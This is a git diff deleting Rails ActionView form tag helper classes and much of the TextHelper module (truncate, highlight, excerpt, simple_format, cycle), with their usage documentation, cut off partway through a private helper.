+++ /dev/null
@@ -1,28 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class CollectionSelect < Base #:nodoc:
- def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
- @collection = collection
- @value_method = value_method
- @text_method = text_method
- @html_options = html_options
-
- super(object_name, method_name, template_object, options)
- end
-
- def render
- option_tags_options = {
- :selected => @options.fetch(:selected) { value(@object) },
- :disabled => @options[:disabled]
- }
-
- select_content_tag(
- options_from_collection_for_select(@collection, @value_method, @text_method, option_tags_options),
- @options, @html_options
- )
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/color_field.rb b/actionpack/lib/action_view/helpers/tags/color_field.rb
deleted file mode 100644
index 6f08f8483a..0000000000
--- a/actionpack/lib/action_view/helpers/tags/color_field.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class ColorField < TextField #:nodoc:
- def render
- options = @options.stringify_keys
- options["value"] = @options.fetch("value") { validate_color_string(value(object)) }
- @options = options
- super
- end
-
- private
-
- def validate_color_string(string)
- regex = /#[0-9a-fA-F]{6}/
- if regex.match(string)
- string.downcase
- else
- "#000000"
- end
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/date_field.rb b/actionpack/lib/action_view/helpers/tags/date_field.rb
deleted file mode 100644
index 64c29dea3d..0000000000
--- a/actionpack/lib/action_view/helpers/tags/date_field.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class DateField < DatetimeField #:nodoc:
- private
-
- def format_date(value)
- value.try(:strftime, "%Y-%m-%d")
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/date_select.rb b/actionpack/lib/action_view/helpers/tags/date_select.rb
deleted file mode 100644
index 5d706087b0..0000000000
--- a/actionpack/lib/action_view/helpers/tags/date_select.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class DateSelect < Base #:nodoc:
- def initialize(object_name, method_name, template_object, options, html_options)
- @html_options = html_options
-
- super(object_name, method_name, template_object, options)
- end
-
- def render
- error_wrapping(datetime_selector(@options, @html_options).send("select_#{select_type}").html_safe)
- end
-
- class << self
- def select_type
- @select_type ||= self.name.split("::").last.sub("Select", "").downcase
- end
- end
-
- private
-
- def select_type
- self.class.select_type
- end
-
- def datetime_selector(options, html_options)
- datetime = value(object) || default_datetime(options)
- @auto_index ||= nil
-
- options = options.dup
- options[:field_name] = @method_name
- options[:include_position] = true
- options[:prefix] ||= @object_name
- options[:index] = @auto_index if @auto_index && !options.has_key?(:index)
-
- DateTimeSelector.new(datetime, options, html_options)
- end
-
- def default_datetime(options)
- return if options[:include_blank] || options[:prompt]
-
- case options[:default]
- when nil
- Time.current
- when Date, Time
- options[:default]
- else
- default = options[:default].dup
-
- # Rename :minute and :second to :min and :sec
- default[:min] ||= default[:minute]
- default[:sec] ||= default[:second]
-
- time = Time.current
-
- [:year, :month, :day, :hour, :min, :sec].each do |key|
- default[key] ||= time.send(key)
- end
-
- Time.utc_time(
- default[:year], default[:month], default[:day],
- default[:hour], default[:min], default[:sec]
- )
- end
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_field.rb b/actionpack/lib/action_view/helpers/tags/datetime_field.rb
deleted file mode 100644
index e407146e96..0000000000
--- a/actionpack/lib/action_view/helpers/tags/datetime_field.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class DatetimeField < TextField #:nodoc:
- def render
- options = @options.stringify_keys
- options["value"] = @options.fetch("value") { format_date(value(object)) }
- options["min"] = format_date(options["min"])
- options["max"] = format_date(options["max"])
- @options = options
- super
- end
-
- private
-
- def format_date(value)
- value.try(:strftime, "%Y-%m-%dT%T.%L%z")
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb b/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb
deleted file mode 100644
index 6668d6d718..0000000000
--- a/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class DatetimeLocalField < DatetimeField #:nodoc:
- class << self
- def field_type
- @field_type ||= "datetime-local"
- end
- end
-
- private
-
- def format_date(value)
- value.try(:strftime, "%Y-%m-%dT%T")
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_select.rb b/actionpack/lib/action_view/helpers/tags/datetime_select.rb
deleted file mode 100644
index a32c840bce..0000000000
--- a/actionpack/lib/action_view/helpers/tags/datetime_select.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class DatetimeSelect < DateSelect #:nodoc:
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/email_field.rb b/actionpack/lib/action_view/helpers/tags/email_field.rb
deleted file mode 100644
index 45cde507d7..0000000000
--- a/actionpack/lib/action_view/helpers/tags/email_field.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class EmailField < TextField #:nodoc:
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/file_field.rb b/actionpack/lib/action_view/helpers/tags/file_field.rb
deleted file mode 100644
index 59f2ff71b4..0000000000
--- a/actionpack/lib/action_view/helpers/tags/file_field.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class FileField < TextField #:nodoc:
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb b/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb
deleted file mode 100644
index 507ba8835f..0000000000
--- a/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class GroupedCollectionSelect < Base #:nodoc:
- def initialize(object_name, method_name, template_object, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
- @collection = collection
- @group_method = group_method
- @group_label_method = group_label_method
- @option_key_method = option_key_method
- @option_value_method = option_value_method
- @html_options = html_options
-
- super(object_name, method_name, template_object, options)
- end
-
- def render
- option_tags_options = {
- :selected => @options.fetch(:selected) { value(@object) },
- :disabled => @options[:disabled]
- }
-
- select_content_tag(
- option_groups_from_collection_for_select(@collection, @group_method, @group_label_method, @option_key_method, @option_value_method, option_tags_options), @options, @html_options
- )
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/hidden_field.rb b/actionpack/lib/action_view/helpers/tags/hidden_field.rb
deleted file mode 100644
index a8d13dc1b1..0000000000
--- a/actionpack/lib/action_view/helpers/tags/hidden_field.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class HiddenField < TextField #:nodoc:
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/label.rb b/actionpack/lib/action_view/helpers/tags/label.rb
deleted file mode 100644
index 16135fcd5a..0000000000
--- a/actionpack/lib/action_view/helpers/tags/label.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class Label < Base #:nodoc:
- def initialize(object_name, method_name, template_object, content_or_options = nil, options = nil)
- options ||= {}
-
- content_is_options = content_or_options.is_a?(Hash)
- if content_is_options
- options.merge! content_or_options
- @content = nil
- else
- @content = content_or_options
- end
-
- super(object_name, method_name, template_object, options)
- end
-
- def render(&block)
- options = @options.stringify_keys
- tag_value = options.delete("value")
- name_and_id = options.dup
-
- if name_and_id["for"]
- name_and_id["id"] = name_and_id["for"]
- else
- name_and_id.delete("id")
- end
-
- add_default_name_and_id_for_value(tag_value, name_and_id)
- options.delete("index")
- options.delete("namespace")
- options["for"] = name_and_id["id"] unless options.key?("for")
-
- if block_given?
- content = @template_object.capture(&block)
- else
- content = if @content.blank?
- @object_name.gsub!(/\[(.*)_attributes\]\[\d\]/, '.\1')
- method_and_value = tag_value.present? ? "#{@method_name}.#{tag_value}" : @method_name
-
- if object.respond_to?(:to_model)
- key = object.class.model_name.i18n_key
- i18n_default = ["#{key}.#{method_and_value}".to_sym, ""]
- end
-
- i18n_default ||= ""
- I18n.t("#{@object_name}.#{method_and_value}", :default => i18n_default, :scope => "helpers.label").presence
- else
- @content.to_s
- end
-
- content ||= if object && object.class.respond_to?(:human_attribute_name)
- object.class.human_attribute_name(@method_name)
- end
-
- content ||= @method_name.humanize
- end
-
- label_tag(name_and_id["id"], content, options)
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/month_field.rb b/actionpack/lib/action_view/helpers/tags/month_field.rb
deleted file mode 100644
index 3d3c32d847..0000000000
--- a/actionpack/lib/action_view/helpers/tags/month_field.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class MonthField < DatetimeField #:nodoc:
- private
-
- def format_date(value)
- value.try(:strftime, "%Y-%m")
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/number_field.rb b/actionpack/lib/action_view/helpers/tags/number_field.rb
deleted file mode 100644
index 9cd04434f0..0000000000
--- a/actionpack/lib/action_view/helpers/tags/number_field.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class NumberField < TextField #:nodoc:
- def render
- options = @options.stringify_keys
-
- if range = options.delete("in") || options.delete("within")
- options.update("min" => range.min, "max" => range.max)
- end
-
- @options = options
- super
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/password_field.rb b/actionpack/lib/action_view/helpers/tags/password_field.rb
deleted file mode 100644
index 6e7a4d3c36..0000000000
--- a/actionpack/lib/action_view/helpers/tags/password_field.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class PasswordField < TextField #:nodoc:
- def render
- @options = {:value => nil}.merge!(@options)
- super
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/radio_button.rb b/actionpack/lib/action_view/helpers/tags/radio_button.rb
deleted file mode 100644
index 8a0421f061..0000000000
--- a/actionpack/lib/action_view/helpers/tags/radio_button.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-require 'action_view/helpers/tags/checkable'
-
-module ActionView
- module Helpers
- module Tags
- class RadioButton < Base #:nodoc:
- include Checkable
-
- def initialize(object_name, method_name, template_object, tag_value, options)
- @tag_value = tag_value
- super(object_name, method_name, template_object, options)
- end
-
- def render
- options = @options.stringify_keys
- options["type"] = "radio"
- options["value"] = @tag_value
- options["checked"] = "checked" if input_checked?(object, options)
- add_default_name_and_id_for_value(@tag_value, options)
- tag("input", options)
- end
-
- private
-
- def checked?(value)
- value.to_s == @tag_value.to_s
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/range_field.rb b/actionpack/lib/action_view/helpers/tags/range_field.rb
deleted file mode 100644
index 47db4680e7..0000000000
--- a/actionpack/lib/action_view/helpers/tags/range_field.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class RangeField < NumberField #:nodoc:
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/search_field.rb b/actionpack/lib/action_view/helpers/tags/search_field.rb
deleted file mode 100644
index 818fd4b887..0000000000
--- a/actionpack/lib/action_view/helpers/tags/search_field.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class SearchField < TextField #:nodoc:
- def render
- options = @options.stringify_keys
-
- if options["autosave"]
- if options["autosave"] == true
- options["autosave"] = request.host.split(".").reverse.join(".")
- end
- options["results"] ||= 10
- end
-
- if options["onsearch"]
- options["incremental"] = true unless options.has_key?("incremental")
- end
-
- super
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/select.rb b/actionpack/lib/action_view/helpers/tags/select.rb
deleted file mode 100644
index 53a108b7e6..0000000000
--- a/actionpack/lib/action_view/helpers/tags/select.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class Select < Base #:nodoc:
- def initialize(object_name, method_name, template_object, choices, options, html_options)
- @choices = choices
- @choices = @choices.to_a if @choices.is_a?(Range)
- @html_options = html_options
-
- super(object_name, method_name, template_object, options)
- end
-
- def render
- option_tags_options = {
- :selected => @options.fetch(:selected) { value(@object) },
- :disabled => @options[:disabled]
- }
-
- option_tags = if grouped_choices?
- grouped_options_for_select(@choices, option_tags_options)
- else
- options_for_select(@choices, option_tags_options)
- end
-
- select_content_tag(option_tags, @options, @html_options)
- end
-
- private
-
- # Grouped choices look like this:
- #
- # [nil, []]
- # { nil => [] }
- #
- def grouped_choices?
- !@choices.empty? && @choices.first.respond_to?(:last) && Array === @choices.first.last
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/tel_field.rb b/actionpack/lib/action_view/helpers/tags/tel_field.rb
deleted file mode 100644
index 87c1f6b6b6..0000000000
--- a/actionpack/lib/action_view/helpers/tags/tel_field.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class TelField < TextField #:nodoc:
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/text_area.rb b/actionpack/lib/action_view/helpers/tags/text_area.rb
deleted file mode 100644
index f74652c5e7..0000000000
--- a/actionpack/lib/action_view/helpers/tags/text_area.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class TextArea < Base #:nodoc:
- def render
- options = @options.stringify_keys
- add_default_name_and_id(options)
-
- if size = options.delete("size")
- options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
- end
-
- content_tag("textarea", options.delete('value') || value_before_type_cast(object), options)
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/text_field.rb b/actionpack/lib/action_view/helpers/tags/text_field.rb
deleted file mode 100644
index 024a1a8af2..0000000000
--- a/actionpack/lib/action_view/helpers/tags/text_field.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class TextField < Base #:nodoc:
- def render
- options = @options.stringify_keys
- options["size"] = options["maxlength"] unless options.key?("size")
- options["type"] ||= field_type
- options["value"] = options.fetch("value"){ value_before_type_cast(object) } unless field_type == "file"
- options["value"] &&= ERB::Util.html_escape(options["value"])
- add_default_name_and_id(options)
- tag("input", options)
- end
-
- class << self
- def field_type
- @field_type ||= self.name.split("::").last.sub("Field", "").downcase
- end
- end
-
- private
-
- def field_type
- self.class.field_type
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/time_field.rb b/actionpack/lib/action_view/helpers/tags/time_field.rb
deleted file mode 100644
index a3941860c9..0000000000
--- a/actionpack/lib/action_view/helpers/tags/time_field.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class TimeField < DatetimeField #:nodoc:
- private
-
- def format_date(value)
- value.try(:strftime, "%T.%L")
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/time_select.rb b/actionpack/lib/action_view/helpers/tags/time_select.rb
deleted file mode 100644
index 9e97deb706..0000000000
--- a/actionpack/lib/action_view/helpers/tags/time_select.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class TimeSelect < DateSelect #:nodoc:
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/time_zone_select.rb b/actionpack/lib/action_view/helpers/tags/time_zone_select.rb
deleted file mode 100644
index 0a176157c3..0000000000
--- a/actionpack/lib/action_view/helpers/tags/time_zone_select.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class TimeZoneSelect < Base #:nodoc:
- def initialize(object_name, method_name, template_object, priority_zones, options, html_options)
- @priority_zones = priority_zones
- @html_options = html_options
-
- super(object_name, method_name, template_object, options)
- end
-
- def render
- select_content_tag(
- time_zone_options_for_select(value(@object) || @options[:default], @priority_zones, @options[:model] || ActiveSupport::TimeZone), @options, @html_options
- )
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/url_field.rb b/actionpack/lib/action_view/helpers/tags/url_field.rb
deleted file mode 100644
index 1ffdfe0b3c..0000000000
--- a/actionpack/lib/action_view/helpers/tags/url_field.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class UrlField < TextField #:nodoc:
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/week_field.rb b/actionpack/lib/action_view/helpers/tags/week_field.rb
deleted file mode 100644
index 1e13939a0a..0000000000
--- a/actionpack/lib/action_view/helpers/tags/week_field.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module ActionView
- module Helpers
- module Tags
- class WeekField < DatetimeField #:nodoc:
- private
-
- def format_date(value)
- value.try(:strftime, "%Y-W%W")
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb
deleted file mode 100644
index 26d2142df9..0000000000
--- a/actionpack/lib/action_view/helpers/text_helper.rb
+++ /dev/null
@@ -1,439 +0,0 @@
-require 'active_support/core_ext/string/filters'
-require 'active_support/core_ext/array/extract_options'
-
-module ActionView
- # = Action View Text Helpers
- module Helpers #:nodoc:
- # The TextHelper module provides a set of methods for filtering, formatting
- # and transforming strings, which can reduce the amount of inline Ruby code in
- # your views. These helper methods extend Action View making them callable
- # within your template files.
- #
- # ==== Sanitization
- #
- # Most text helpers by default sanitize the given content, but do not escape it.
- # This means HTML tags will appear in the page but all malicious code will be removed.
- # Let's look at some examples using the +simple_format+ method:
- #
- # simple_format('<a href="http://example.com/">Example</a>')
- # # => "<p><a href=\"http://example.com/\">Example</a></p>"
- #
- # simple_format('<a href="javascript:alert(\'no!\')">Example</a>')
- # # => "<p><a>Example</a></p>"
- #
- # If you want to escape all content, you should invoke the +h+ method before
- # calling the text helper.
- #
- # simple_format h('<a href="http://example.com/">Example</a>')
- # # => "<p>&lt;a href=\"http://example.com/\"&gt;Example&lt;/a&gt;</p>"
- module TextHelper
- extend ActiveSupport::Concern
-
- include SanitizeHelper
- include TagHelper
- # The preferred method of outputting text in your views is to use the
- # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
- # do not operate as expected in an eRuby code block. If you absolutely must
- # output text within a non-output code block (i.e., <% %>), you can use the concat method.
- #
- # <%
- # concat "hello"
- # # is the equivalent of <%= "hello" %>
- #
- # if logged_in
- # concat "Logged in!"
- # else
- # concat link_to('login', action: :login)
- # end
- # # will either display "Logged in!" or a login link
- # %>
- def concat(string)
- output_buffer << string
- end
-
- def safe_concat(string)
- output_buffer.respond_to?(:safe_concat) ? output_buffer.safe_concat(string) : concat(string)
- end
-
- # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
- # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...")
- # for a total length not exceeding <tt>:length</tt>.
- #
- # Pass a <tt>:separator</tt> to truncate +text+ at a natural break.
- #
- # Pass a block if you want to show extra content when the text is truncated.
- #
- # The result is marked as HTML-safe, but it is escaped by default, unless <tt>:escape</tt> is
- # +false+. Care should be taken if +text+ contains HTML tags or entities, because truncation
- # may produce invalid HTML (such as unbalanced or incomplete tags).
- #
- # truncate("Once upon a time in a world far far away")
- # # => "Once upon a time in a world..."
- #
- # truncate("Once upon a time in a world far far away", length: 17)
- # # => "Once upon a ti..."
- #
- # truncate("Once upon a time in a world far far away", length: 17, separator: ' ')
- # # => "Once upon a..."
- #
- # truncate("And they found that many people were sleeping better.", length: 25, omission: '... (continued)')
- # # => "And they f... (continued)"
- #
- # truncate("<p>Once upon a time in a world far far away</p>")
- # # => "<p>Once upon a time in a wo..."
- #
- # truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
- # # => "Once upon a time in a wo...<a href="#">Continue</a>"
- def truncate(text, options = {}, &block)
- if text
- length = options.fetch(:length, 30)
-
- content = text.truncate(length, options)
- content = options[:escape] == false ? content.html_safe : ERB::Util.html_escape(content)
- content << capture(&block) if block_given? && text.length > length
- content
- end
- end
-
- # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
- # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
- # as a single-quoted string with <tt>\1</tt> where the phrase is to be inserted (defaults to
- # '<mark>\1</mark>')
- #
- # highlight('You searched for: rails', 'rails')
- # # => You searched for: <mark>rails</mark>
- #
- # highlight('You searched for: ruby, rails, dhh', 'actionpack')
- # # => You searched for: ruby, rails, dhh
- #
- # highlight('You searched for: rails', ['for', 'rails'], highlighter: '<em>\1</em>')
- # # => You searched <em>for</em>: <em>rails</em>
- #
- # highlight('You searched for: rails', 'rails', highlighter: '<a href="search?q=\1">\1</a>')
- # # => You searched for: <a href="search?q=rails">rails</a>
- def highlight(text, phrases, options = {})
- highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
-
- text = sanitize(text) if options.fetch(:sanitize, true)
- if text.blank? || phrases.blank?
- text
- else
- match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
- text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
- end.html_safe
- end
-
- # Extracts an excerpt from +text+ that matches the first instance of +phrase+.
- # The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
- # defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
- # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. The
- # <tt>:separator</tt> enable to choose the delimation. The resulting string will be stripped in any case. If the +phrase+
- # isn't found, nil is returned.
- #
- # excerpt('This is an example', 'an', radius: 5)
- # # => ...s is an exam...
- #
- # excerpt('This is an example', 'is', radius: 5)
- # # => This is a...
- #
- # excerpt('This is an example', 'is')
- # # => This is an example
- #
- # excerpt('This next thing is an example', 'ex', radius: 2)
- # # => ...next...
- #
- # excerpt('This is also an example', 'an', radius: 8, omission: '<chop> ')
- # # => <chop> is also an example
- #
- # excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
- # # => ...a very beautiful...
- def excerpt(text, phrase, options = {})
- return unless text && phrase
-
- separator = options.fetch(:separator, "")
- phrase = Regexp.escape(phrase)
- regex = /#{phrase}/i
-
- return unless matches = text.match(regex)
- phrase = matches[0]
-
- text.split(separator).each do |value|
- if value.match(regex)
- regex = phrase = value
- break
- end
- end
-
- first_part, second_part = text.split(regex, 2)
-
- prefix, first_part = cut_excerpt_part(:first, first_part, separator, options)
- postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
-
- prefix + (first_part + separator + phrase + separator + second_part).strip + postfix
- end
-
- # Attempts to pluralize the +singular+ word unless +count+ is 1. If
- # +plural+ is supplied, it will use that when count is > 1, otherwise
- # it will use the Inflector to determine the plural form.
- #
- # pluralize(1, 'person')
- # # => 1 person
- #
- # pluralize(2, 'person')
- # # => 2 people
- #
- # pluralize(3, 'person', 'users')
- # # => 3 users
- #
- # pluralize(0, 'person')
- # # => 0 people
- def pluralize(count, singular, plural = nil)
- word = if (count == 1 || count =~ /^1(\.0+)?$/)
- singular
- else
- plural || singular.pluralize
- end
-
- "#{count || 0} #{word}"
- end
-
- # Wraps the +text+ into lines no longer than +line_width+ width. This method
- # breaks on the first whitespace character that does not exceed +line_width+
- # (which is 80 by default).
- #
- # word_wrap('Once upon a time')
- # # => Once upon a time
- #
- # word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
- # # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined...
- #
- # word_wrap('Once upon a time', line_width: 8)
- # # => Once\nupon a\ntime
- #
- # word_wrap('Once upon a time', line_width: 1)
- # # => Once\nupon\na\ntime
- def word_wrap(text, options = {})
- line_width = options.fetch(:line_width, 80)
-
- text.split("\n").collect do |line|
- line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1\n").strip : line
- end * "\n"
- end
-
- # Returns +text+ transformed into HTML using simple formatting rules.
- # Two or more consecutive newlines(<tt>\n\n</tt>) are considered as a
- # paragraph and wrapped in <tt><p></tt> tags. One newline (<tt>\n</tt>) is
- # considered as a linebreak and a <tt><br /></tt> tag is appended. This
- # method does not remove the newlines from the +text+.
- #
- # You can pass any HTML attributes into <tt>html_options</tt>. These
- # will be added to all created paragraphs.
- #
- # ==== Options
- # * <tt>:sanitize</tt> - If +false+, does not sanitize +text+.
- # * <tt>:wrapper_tag</tt> - String representing the wrapper tag, defaults to <tt>"p"</tt>
- #
- # ==== Examples
- # my_text = "Here is some basic text...\n...with a line break."
- #
- # simple_format(my_text)
- # # => "<p>Here is some basic text...\n<br />...with a line break.</p>"
- #
- # simple_format(my_text, {}, wrapper_tag: "div")
- # # => "<div>Here is some basic text...\n<br />...with a line break.</div>"
- #
- # more_text = "We want to put a paragraph...\n\n...right there."
- #
- # simple_format(more_text)
- # # => "<p>We want to put a paragraph...</p>\n\n<p>...right there.</p>"
- #
- # simple_format("Look ma! A class!", class: 'description')
- # # => "<p class='description'>Look ma! A class!</p>"
- #
- # simple_format("<span>I'm allowed!</span> It's true.", {}, sanitize: false)
- # # => "<p><span>I'm allowed!</span> It's true.</p>"
- def simple_format(text, html_options = {}, options = {})
- wrapper_tag = options.fetch(:wrapper_tag, :p)
-
- text = sanitize(text) if options.fetch(:sanitize, true)
- paragraphs = split_paragraphs(text)
-
- if paragraphs.empty?
- content_tag(wrapper_tag, nil, html_options)
- else
- paragraphs.map { |paragraph|
- content_tag(wrapper_tag, paragraph, html_options, options[:sanitize])
- }.join("\n\n").html_safe
- end
- end
-
- # Creates a Cycle object whose _to_s_ method cycles through elements of an
- # array every time it is called. This can be used for example, to alternate
- # classes for table rows. You can use named cycles to allow nesting in loops.
- # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a
- # named cycle. The default name for a cycle without a +:name+ key is
- # <tt>"default"</tt>. You can manually reset a cycle by calling reset_cycle
- # and passing the name of the cycle. The current cycle string can be obtained
- # anytime using the current_cycle method.
- #
- # # Alternate CSS classes for even and odd numbers...
- # @items = [1,2,3,4]
- # <table>
- # <% @items.each do |item| %>
- # <tr class="<%= cycle("odd", "even") -%>">
- # <td>item</td>
- # </tr>
- # <% end %>
- # </table>
- #
- #
- # # Cycle CSS classes for rows, and text colors for values within each row
- # @items = x = [{first: 'Robert', middle: 'Daniel', last: 'James'},
- # {first: 'Emily', middle: 'Shannon', maiden: 'Pike', last: 'Hicks'},
- # {first: 'June', middle: 'Dae', last: 'Jones'}]
- # <% @items.each do |item| %>
- # <tr class="<%= cycle("odd", "even", name: "row_class") -%>">
- # <td>
- # <% item.values.each do |value| %>
- # <%# Create a named cycle "colors" %>
- # <span style="color:<%= cycle("red", "green", "blue", name: "colors") -%>">
- # <%= value %>
- # </span>
- # <% end %>
- # <% reset_cycle("colors") %>
- # </td>
- # </tr>
- # <% end %>
- def cycle(first_value, *values)
- options = values.extract_options!
- name = options.fetch(:name, 'default')
-
- values.unshift(first_value)
-
- cycle = get_cycle(name)
- unless cycle && cycle.values == values
- cycle = set_cycle(name, Cycle.new(*values))
- end
- cycle.to_s
- end
-
- # Returns the current cycle string after a cycle has been started. Useful
- # for complex table highlighting or any other design need which requires
- # the current cycle string in more than one place.
- #
- # # Alternate background colors
- # @items = [1,2,3,4]
- # <% @items.each do |item| %>
- # <div style="background-color:<%= cycle("red","white","blue") %>">
- # <span style="background-color:<%= current_cycle %>"><%= item %></span>
- # </div>
- # <% end %>
- def current_cycle(name = "default")
- cycle = get_cycle(name)
- cycle.current_value if cycle
- end
-
- # Resets a cycle so that it starts from the first element the next time
- # it is called. Pass in +name+ to reset a named cycle.
- #
- # # Alternate CSS classes for even and odd numbers...
- # @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
- # <table>
- # <% @items.each do |item| %>
- # <tr class="<%= cycle("even", "odd") -%>">
- # <% item.each do |value| %>
- # <span style="color:<%= cycle("#333", "#666", "#999", name: "colors") -%>">
- # <%= value %>
- # </span>
- # <% end %>
- #
- # <% reset_cycle("colors") %>
- # </tr>
- # <% end %>
- # </table>
- def reset_cycle(name = "default")
- cycle = get_cycle(name)
- cycle.reset if cycle
- end
-
- class Cycle #:nodoc:
- attr_reader :values
-
- def initialize(first_value, *values)
- @values = values.unshift(first_value)
- reset
- end
-
- def reset
- @index = 0
- end
-
- def current_value
- @values[previous_index].to_s
- end
-
- def to_s
- value = @values[@index].to_s
- @index = next_index
- return value
- end
-
- private
-
- def next_index
- step_index(1)
- end
-
- def previous_index
- step_index(-1)
- end
-
- def step_index(n)
- (@index + n) % @values.size
- end
- end
-
- private
- # The cycle helpers need to store the cycles in a place that is
- # guaranteed to be reset every time a page is rendered, so it
- # uses an instance variable of ActionView::Base.
- def get_cycle(name)
- @_cycles = Hash.new unless defined?(@_cycles)
- return @_cycles[name]
- end
-
- def set_cycle(name, cycle_object)
- @_cycles = Hash.new unless defined?(@_cycles)
- @_cycles[name] = cycle_object
- end
-
- def split_paragraphs(text)
- return [] if text.blank?
-
- text.to_str.gsub(/\r\n?/, "\n").split(/\n\n+/).map! do |t|
- t.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') || t
- end
- end
-
- def cut_excerpt_part(part_position, part, separator, options)
- return "", "" unless part
-
- radius = options.fetch(:radius, 100)
- omission = options.fetch(:omission, "...")
-
- part = part.split(separator)
